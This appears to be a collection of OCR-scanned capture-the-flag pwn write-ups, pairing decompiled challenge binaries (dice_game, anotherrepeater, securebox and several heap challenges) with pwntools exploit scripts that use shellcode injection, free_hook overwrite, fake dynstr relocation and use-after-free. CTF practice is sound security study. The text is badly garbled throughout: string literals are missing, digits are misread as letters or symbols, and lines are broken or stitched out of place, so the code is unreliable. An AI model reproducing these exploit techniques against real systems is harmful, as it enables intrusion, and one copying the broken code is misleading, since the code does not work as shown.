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236 qctf 2018 dice_game

printf("Welcome, let me know your name: ");
fflush(stdout);
v6 = read(@, buf, @x50uLL);
if ( ve <= 49 )
buf[ve - 1] = @;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[@]);
vE = 1;
v5s = 8;
while ( 1)
{
printf("Game %d/50\n", v8);
v5 = sub_A20();

fflush(stdout);
if (vs 1=1)
break;
if ( v5 )
{
if ( v8 == 50 )
{
sub_B28(buf);
break;
}
++Vv8;
}

}
puts("Bye bye!"):
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exp

from pwn import

from ctypes import

Ox40 + p64(0)

payload=payload.ljust(0x50,

r.sendline(payload)
for i in (50):
r.sendlineafter( (lib.rand()

r.interactive()

237 actf_2019_anotherrepeater

1signed __int16 *input()

unsigned __int16 v1; // [esp+Ah] [ebp-41Eh] BYREF
int buf; // [esp+Dh] [ebp-41Bh] BYREF

_DWORD v3[254]; // [esp+11lh] [ebp-417h] BYREF

int v4; // [esp+48Ah] [ebp-1Eh]

unsigned __int16 v5; // [esp+4@Eh] [ebp-1Ah] BYREF

4144959;
=8_;

Il

memset((char *)v3 + 3, @, 4 * ((((char *)v3 - ((char *)v3 + 3) + 1@21) & @xFFFFFFFC) >> 2));
__is0c99_scanf("%hd", &v1);
if ( (__int16)v1 > 1824 )

puts("No way, you can't repeat so many chars!");
exit(e);
}

vs = vl;

printf("%x %u\n", &buf, vl);

read(@, &buf, v5);

gmemcpy(str, &buf, ©x480u);

str[1024] = HIBYTE(v4);

return &v5; |
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from pwn import

r remote( ,26228)

r.recv()
r.sendline( (-10))

buf (r.recv(8),16)

r.recv()
payload=asm(shellcraft.sh()).1ljust(0x41b+0x4, )+p32(buf)

r.sendline(payload)

r.interactive()

238 hfctf 2020 sucurebox

puts("Size: ");

size = sub _DC7("Size: ");

if ( size > ©x100 && (unsigned int)size <= @xFFF )
{

*((_QWORD *)&address_array + v2) = malloc(@x28ulLlL);
*(_QWORD *)(*((_QWORD *)&address_array + v2) + 32LL) = size;
ve = *((_QWORD *)&address_array + v2);
*(_QWORD *)(ve + 24) = malloc(size);
memset(*((void **)&address_array + v2), ©, ©xl4ulLl);
sub_E11(*((_QWORD *)&address_array + v2));
puts("Key: ");
for (7 =9; ] <= 15; ++7 )
printf("%02x ", *(unsigned __int8 *)(*((_QWORD *)&address_array + v2) + J));
printf("\nBox ID: %d\n", (unsigned int)v2);
¥
puts("Finish!");
¥
return __readfsqword(@x28u) ~ vé;
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from pwn import

r process(
1libc ELF(




def add(size):

r.sendlineafter(

r.sendlineafter(

r.recvuntil(

r.recvuntil( )

strs sh.recvuntil( ,drop

data []

for x in strs:
if x

continue

data.append( (x,16))

return data

def delete(index):
r.sendlineafter( )
r.sendlineafter( (index))
def enc(index,off,
r.sendlineafter( )
r.sendlineafter( (index))
(off))
r.sendlineafter( ( ))

r.sendlineafter( P

r.sendafter(

def show(index,off,
r.sendlineafter( )
r.sendlineafter( (index))

(off))

r.sendlineafter( ( ))

r.sendlineafter( 5

def tranLong(data):
if data 0x8000000000000000 0:
return data 0x10000000000000000
else:
return data

for i in (8):
add(0x200)

for i in
delete(i)

delete(9)

key = add(0x200)

(1,8):

p8(ord(data[i])
enc(0,0,0x8,ans)

key[i])

for i in (7):

add(0x200)

show(7,0x8,0x8)

malloc_hook

OXFFF)
libc_base

(ub4(r.recvuntil( )[-6:].1just(8,

malloc_hook libc.sym[

free_hook libc_base libc.sym[

True).strip().split(

))

OXFFFFFFFFFFFFFO0Q)

(libc.sym[




(libc_base)

add(tranLong(@xFFFFFFFFO@00OFFF))
p64(system_addr)

for i in (8):
ans p8( (data[i]) key[i])

enc(8,tranLong(free_hook),8,ans)

delete(9)

r.interactive()
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char v4; // [rsp+17h] [rbp-Sh] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(@x28u);
sub_4@eAD2(al, a2, a3);
if ( (int)al > 1)
{
v3 = atoi(a2[1]);
alarm(v3);
¥
vd = 8;
while ( 1)
{
sub_4007C6(&v4, 1LL);
switch ( v4 )
{
case 1:
sub_400849();
break;
case 2:
sub_400984();
break;
case 3:
sub_488A32();
break;
case 4:
exit(e);
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unsigned __int64 sub_400849()
{
unsigned _ int8 v1; // [rsp+Bh] [rbp-15h] BYREF
int i; // [rsp+Ch] [rbp-14h]
_QWORD *v3; // [rsp+1@h] [rbp-16h]
unsigned __inté64 v4; // [rsp+18h] [rbp-8h]

v4d = _ readfsgqword(@x28u);
if ( dword_6020A@ > 32 )
exit(-1);
vl = 8;
v3 = calloc(@xl@uLL, 1ulLl);
if (lv3 )
exit(-1);
sub_4ee7Ce((__inte4)&vl, 1u);
if (lvl)
exit(-1);
v3[1] = calloc(vl, 1uLL);
if ( !v3[1] )
exit(-1);
sub_4ee7Ce(v3[1], vi1);
*v3 = vl;

for (1 =0; 1 <= 31 && *(&s + 1); ++1 )
*(&s + 1) = v3;

++dword_6020480;

return __readfsgword(®x28u) ~ v4;
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iInsigned __int64 sub_400984()

unsigned __int8 v1; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int8 v2; // [rsp+Fh] [rbp-11h] BYREF
__inte4 v3; // [rsp+18h] [rbp-16h]

unsigned __inte4 v4; // [rsp+18h] [rbp-8h]

v4d = _ readfsqword(@x28u);

vl = 8;
sub_4ee7Ce((__inte4)&vl, 1u);
if ( !*(&s + v1) )

exit(-1);
v3 = (__inte4)*(&s + vl1);
vZ = @;

sub_4ee7Ce((__inte4)&v2, 1u);
sub_4007C6(*( QWORD *)(v3 + 8), v2);
return __readfsqword(@x28u) ~ v4;
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free

unsigned __int64 sub_400A32()

{
unsigned __int8 v1; // [rsp+7h] [rbp-9h
unsigned __inte4 v2; // [rsp+8h] [rbp-8

v2 = __readfsqword(@x28u);
vl = 8;
sub_48e7C6((__inte4)&vi, 1u);
if ( vl > ex28eu )
exit(-1);
free(*((void **)*(&s + v1) + 1));
free(*(&s + v1));
*(&s + v1) = OLL;
return __readfsqword(@x28u) ~ v2;

free fREHE I 1.
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from pwn import

remote( ,25926)

0x400626

fake_dynstr_addr 0x6020D0 0x100
fake_dynstr Ox5F
fake_dynstr fake_dynstr.ljust(ex73,
fake_dynstr

dt_strtab OX601EBO

def add(size,content):
r.send( )
r.send( (size))
r.send(content)

def edit(index,size,content):
.send( )
.send( (index))

a
a
r.send( (size))
a

.send(content)
def delete(index):
r.send( )
(index))
0x20)
0x80)

.1just(ex20, ))

payload 0x20 + p64(0) p64(0x21) p64(0x80)
edit(0,0x40,payload)

edit (1, (fake_dynstr),fake_dynstr)

payload 0x20 + p64(0) p64(0x21) p64(0x80)
edit(0,0x40,payload)

edit(1,0x8,p64(fake_dynstr_addr))

payload 0x20 + p64(0) p64(0x21) p64(0x80)
edit(0,0x40,payload)

edit(1,0x8,p64(free_got 1d))

delete(2)

r.interactive()

p64(fake_dynstr_addr)

p64(dt_strtab)

p64(free_got)




o = malloc(©x28ull);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;

printf("hey, what's your name? : ");
__is0c99_scanf("%24s", )
= 0_;
*(_QUORD *)o = v6[e];
[1] = v6[1];
(] = ver2];
id = ve[e];
getchar();

func[@] = (__int64)echol;

gword_602088 = (__int64)echo2;

gword_68209@ = (__int64)echo3;
et —HEWIIR 1L .

echo22 — M AL 715

__int64 echo2()

{
char format[32]; //

(*((void (__fastcall **)(void *))o + 3))(0);
get_input( s 32LL);

printf( );

(*((void (__fastcall **)(void *))o + 4))(0);
return oLL;




echo3,& —" uaf.

__inte4 echo3()
{

char *s; // [rsp+8h] [rbp-8h]

(*((void (__fastcall **)(void *))o + 3))(0);
s = (char *)malloc(@x28uLL);

get_input(s, 32LL);

puts(s);

free(s);

(*((void (__fastcall **)(void *))o + 4))(0);
return eLL;
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from pwn import

r process(

shellcode

.recvuntil( )
.sendline(shellcode)
.recvuntil( )
.sendline( )
.recvuntil( )
.sendline( )

(r.recv(16),16)
rbp_addr-0x20

.recvuntil( )

.sendline( )

.recvuntil(

.sendline( 24+p64(v6_addr))

.recvuntil( )

.sendline( )

.interactive()
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